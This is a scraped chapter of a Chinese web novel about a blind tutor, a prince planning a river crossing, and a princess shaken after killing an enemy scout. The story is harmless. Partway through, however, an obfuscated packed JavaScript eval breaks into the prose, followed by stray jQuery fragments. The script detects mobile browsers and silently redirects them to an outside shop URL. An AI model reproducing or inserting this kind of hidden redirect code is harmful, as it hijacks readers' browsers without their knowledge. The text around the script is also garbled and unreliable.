文趣网 > 其他小说 > 救回盲眼帝师后 > 35. 屏风
    景阳一字一句道:“你以为你是谁,竟敢叫我收回成命。”

    夏棐道,“我来帮殿下渡过白石江,拿下磐州城,帮殿下在中原立住脚,只要可以重整天下棋局,便不必再将公主摆在棋盘上。”

    景阳看着面前的瞎子,手指敲击着面前的案几。

    “若你做不到呢?”

    “夏某赌上性命。”

    景阳没有接话,帐中火盆未烧尽的火炭,噼啪轻响。

    “我可以推迟稚阳的婚约,之后再定……”景阳的手停下,“但你不许见她。”

    “好。”

    “竟然答得这样快。”景阳盯着夏棐的脸,“若让她知道是你,我就把你当成祁人奸细拖出去绑了。”

    夏棐向他叩首。

    景阳站起身,像终于解决了一件难题,活动一下关节,随后他绕过案几,走下来,站在下跪之人的面前。

    “我曾经敬你的才学和傲骨,看看你如今是什么样子。”

    “你口口声声说没有人能决定稚阳的未来……”

    “那你现在做的是什么?”

    帐中安静许久,夏棐一直跪在那,像一座磨损的木像。

    从帐外传来急促的脚步声,传令兵在门外道:“启禀殿下!”

    景阳看夏棐还跪在帐中一动不动,语气缓和一些,“好了,你起身吧。”

    夏棐终于回过神,他垂着头脸色苍白,抬手胡乱抓着案几,摇摇晃晃起身。

    景阳叹息一声,“夏少傅,你可莫要再叫我失望了。”

    夏棐背对着他,说了一句仿佛是上辈子的话,“臣愿为殿下排忧解难。”

    “你先去里面等我,一会我与你商讨渡河之事。”

    夏棐双手向前摸索,景阳发觉他身上风尘仆仆,站立不稳,想他双眼不便从雨州追来,一路也是艰辛……

    冷眼渐消,景阳伸手扶他到屏风后的内帐坐下。

    “你远道而来,先好好歇歇。”

    “多谢殿下。”

    随后景阳叫门外传令兵进来。

    夏棐听不清他们在说什么,只听景阳声音陡然提高:“谢建章到底在干什么!”

    紧接着人声和脚步声都渐远,似乎发生什么紧要之事。

    过了很久,久到像是景阳把屏风后的人忘了。

    夏棐本想趁此空闲推算一下白石滩的守备,但一路赶来西南,几乎没好好休息过,火盆里未灭的炭火暖着,他阖上眼,听见远处操练的号子,想着白石滩的地势,不知何时已昏睡过去。

    梦境流过父亲的军营、太子的东宫、大雨的泥泞,最后是他静静伫立的地方……

    “哥哥!”

    她在怕什么?

    他闻到阵阵血腥之气。

    夏棐惊醒,梦中所有画面全部消散,只留给他一片黑暗,他茫然挣起身子,记不起到底身处何方。

    “哥哥……”

    有人在说话,说的什么他听不明白,只能从中分辨出她的声音……

    为何她的声音在发抖,为何会有血腥味……

    稚阳……你不能出事……

    “是我自己要去的。”

    她的声音很小,他想听清,用耳朵去寻她的方向。

    “不是谢建章的错,他派人送我回去,但我……不想走……”

    “我没想到会这样……死了好多人,对不起……”

    “我没有受伤,这些血……是死人的。”

    他向她伸出手,指尖却触到一面屏风,只得停下。

    “你竟胡闹至此,捡回一条命已是不易,先不论其他,你能平安来见哥哥已是万幸。”

    景阳的声音终于在脑海里清晰起来。

    他慢慢收回手。

    “好了,稚阳,你太累了,我先让人给你安排住处,你好好清洗一下,若是今夜无法安睡,你再来找哥哥,在哥哥身边,什么都不要怕……”

    “谢建章!”

    “景阳哥,建章甘愿领罚!”

    “你以为你逃得掉吗?但现在还不是时候,你先给我备战好,将磐州城拿下来,之后一顿军棍绝少不了你的!”

    “哥哥!是我的错,要罚就罚我!”

    “好了,我都要罚,你们别杵在这里,我已经够头痛了,都给我走。”

    听脚步声,她似是拖着步子离开了。

    他一直听着,直到再也辨不出属于她的声音……

    屏风后传来景阳独自一人的叹息声,听着十分疲惫,“一个个都不让人省心,到底何时才能有人与我分担……”

    景阳在帐中坐了一会,便来到屏风后。

    “刚才你都听见了。”

    “她……”他不知有没有资格问。

    “稚阳那丫头,偷偷混进了辎重队,呵,竟然叫她一箭射死了对面的斥候首领。”

    “斥候首领?”

    “你也想不到吧,我妹妹竟有如此本事,但此行实在太过危险,我不能让她再这样干了,从小她便是这样,总是不懂我为何不让她参与复国之事,她的性命,比千万人都重要。”

    夏棐沉默听着。

    “还有谢建章,能打归能打,却只知往前不顾后路,莽莽撞撞,两人一个样子,时不时要我去善后,我真是被他俩烦透了。”

    他是介绍家人的口吻,夏棐想笑笑回应,却不知有没有笑出来。

    “唉……”景阳又长叹一声。

    夏棐沉思片刻,转而问道:“若是斥候首领被杀,那剩下那些斥候如何了?”

    景阳:“建章追上去截杀了,不知还有没有活口。”

    夏棐:“这群人,是否就是这几日骚扰殿下的斥候队?”

    景阳:“这我无法确定。”

    “那我们便要赶快试探一下,稚阳那一箭,或许就是此役之关键。”

    “依你意思,该如何试探?”

    “殿下可造些竹筏,乘几个假人,半夜时,于江岸不同位置送过江去,看看对岸如何反应。”

    景阳点头,“竹筏有现成的,我马上就派人去做假人,今夜便试。”

    “另外,夏某还需要白石江的水势图,还有殿下全部兵士部署安排。”

    景阳立刻起身,“好,我马上叫人拿来,你眼睛不便,我亲自念给你听。”

    夏棐:“我听说镇南王手下有一象兵营,或许,能让他们调来此处。”

    景阳:“象群难以操控,行动又缓慢,怕箭又怕火,不适宜渡江吧。”

    “若稚阳那一箭令对面没了耳目……”

    夏棐道:“它们不必渡江。”

    ———

    哥哥给她一个单独的帐子,备了装满热水的木桶。

    如今帐中只有她一个人,她看见烛光映在帐子上抖动一下,心里便跟着颤一下。

    虽然哥哥担心她今夜睡不着,让她随时去找他,可是她见哥哥布满血丝的眼睛,又怎能因为自己的事去打扰他。

    稚阳手指麻木地去解衣服,光是系带就解了半天。

    衣服丢在一边,她迈进浴桶,身上干涸的血迹化入热水,浓烈的血腥之气蒸腾而来,仿佛正是刚刚喷出的味道……

    她扒在桶边空呕半天,什么都吐不出来。

    然后她只能忍着血腥气使劲搓洗,不放过任何一处地方。

    直到她快在桶里昏过去,踉踉跄跄从桶里爬出来。

    手摁在桶沿,手心又刺痛一下,她展开手掌,木刺已经深入皮肤……<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864971|208857||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    算了……稚阳默默攥拳。

    随后稚阳披着衣服从帐中出来,深秋的夜风一吹,终于让她没有那么憋闷。

    今夜月亮很圆,照的遍地草叶发白,随风而动。

    她想起那匹吃草的马,她杀了人,可是天地不动,河水照流,马依旧吃草。

    他说,天不在乎任何人。

    她忽然无比想回到书院,推开旧书屋的门,什么都不说,只要看见他还在那里便好。

    她把他压了很久,可是现在却不在乎了,任凭脑子重新被他填满。

    抬头望向月亮,他一定还在那里……

    ———

    夜深人静时,夏棐和景阳选了一处隐秘处,让数支竹筏带着假人下了水,顺水而下静静漂向对岸……

    突然黑暗中一片星星点点射出来,砸在竹筏上,连着假人一起燃烧。

    景阳道:“他们大概发现只是佯攻了。”

    夏棐点头,“对面守军谨慎,应会派兵沿河岸探查,若阵仗很大,说明他们此时不知我们这边动向。”

    此时只见对面点点火把沿着江岸蔓延,隐隐能听到对面人马杂乱。

    景阳还未开口描述那场面,夏棐便道:“看来他们确实是耳目暂失,趁他们还未调来新的斥候,这几日正是我们的机会。”

    ———

    翌日,她昏昏沉沉去中军帐找哥哥,却见谢建章也在帐外等候。

    他见到稚阳,便有些不自然。

    稚阳走到他身边,“为何不进去?”

    谢建章笔直地看着前方,回话像禀报公事,“殿下在与人商议战事,让我在这里等。”

    稚阳一时奇怪,“什么人?”

    谢建章的头摆向左,摆向右,又目视前方。

    “谁都不能进去吗?”

    “是。”

    什么人如此神秘,稚阳好奇起来,是哥哥从哪里新招来的军师么?

    稚阳便和谢建章一起在门外等着,两人一时无话。

    等了许久,还是不见有人出来,只听哥哥喊道,“建章,进来。”

    谢建章听令上前,稚阳便一起跟进去。

    帐中哥哥独自一人坐在案几前,他眼圈更重了,眼底却烧着明显的兴奋之色,像是跟人谈了一夜,容光焕发。

    昨夜来帐中没有留意,稚阳这次才看到那屏风后似乎还有一人,只能看到一双穿着旧草鞋的脚,很瘦,草编裹着明晰的踝骨,却脏污得看不出本来颜色,双脚都被草鞋磨得鲜血淋漓,血迹干涸,应是走了很长的路。

    景阳一见谢建章便开口,语速很快,“建章,我已有渡江的计划,你去准备准备,用你最精锐的人马,轻装简行,带齐十日的口粮,等我命令!”

    谢建章立即拱手,“是!”

    “去吧!”

    谢建章转身出营帐。

    稚阳见哥哥神清气爽,也不由得替他高兴。

    景阳抬头看见妹妹,不自觉朝后瞥了一眼,然后笑道,“阿稚,昨夜休息得如何?”

    “很好……”稚阳撑起笑容。

    “唉,你可太鲁莽了。”景阳眼里有心疼,有责备,却还是笑着对她说话。

    “之后这几天哥哥有军务要忙,顾不上照顾你了,你留在军营里,不要再一个人乱跑。”

    “知道了。”

    哥哥又忙着低头去看案几上的舆图。

    稚阳没说话,她站在那里等待,想看看屏风后的人什么时候出来。

    景阳抬头,看稚阳还在这里,随口道:“回去吧,营中有位岑娘子,若是烦闷了,去找她说说话,她也是从雨州来的。”

    稚阳转身往外走,却忍不住回头看一眼,屏风后的人始终一动不动。